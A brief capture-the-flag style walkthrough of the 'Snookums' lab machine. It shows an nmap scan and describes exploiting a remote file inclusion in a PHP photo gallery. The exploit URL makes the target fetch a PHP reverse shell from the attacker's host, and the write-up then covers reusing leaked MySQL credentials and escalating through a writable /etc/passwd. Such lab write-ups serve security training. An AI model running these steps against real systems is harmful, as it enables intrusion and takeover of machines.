Snookums

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 4000 192.168.197.58 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-04 22:49 +08
Warning: 192.168.197.58 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.197.58
Host is up (0.17s latency).
Not shown: 65484 filtered tcp ports (no-response), 43 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
33060/tcp open  mysqlx

Lots of ports open.

PHP Gallery -> RFI + RCE

Port 80 was running a Simple PHP Photo Gallery instance:

This thing might be vulnerable to an RFI based on searchsploit:

The PoC is quite simple to test:

And it does work since I can make the website send requests to my HTTP server:

To exploit this, we can just host a PHP reverse shell from PentestMonkey and make the website call it by visiting http://192.168.197.58/image.php?img=http://192.168.45.177/rev.php.

Privilege Escalation

SQL Creds -> Michael Shell

Within the /var/www/html file, there's a db.php folder that contains MySQL credentials:

Using this, we can login using mysql:

Within the MySQL database there were some credentials:

These are just base64 encoded strings, and we can easily find the cleartext passwords. michael is the only user within /home, so we can decode his password:

Then, just use su:

Grab the user flag.

Writeable /etc/passwd -> Root

michael owns /etc/passwd. This is findable by running linpeas.sh:

Using this, we can easily create a new root user.

Rooted!

PreviousShiftyNextSona

Last updated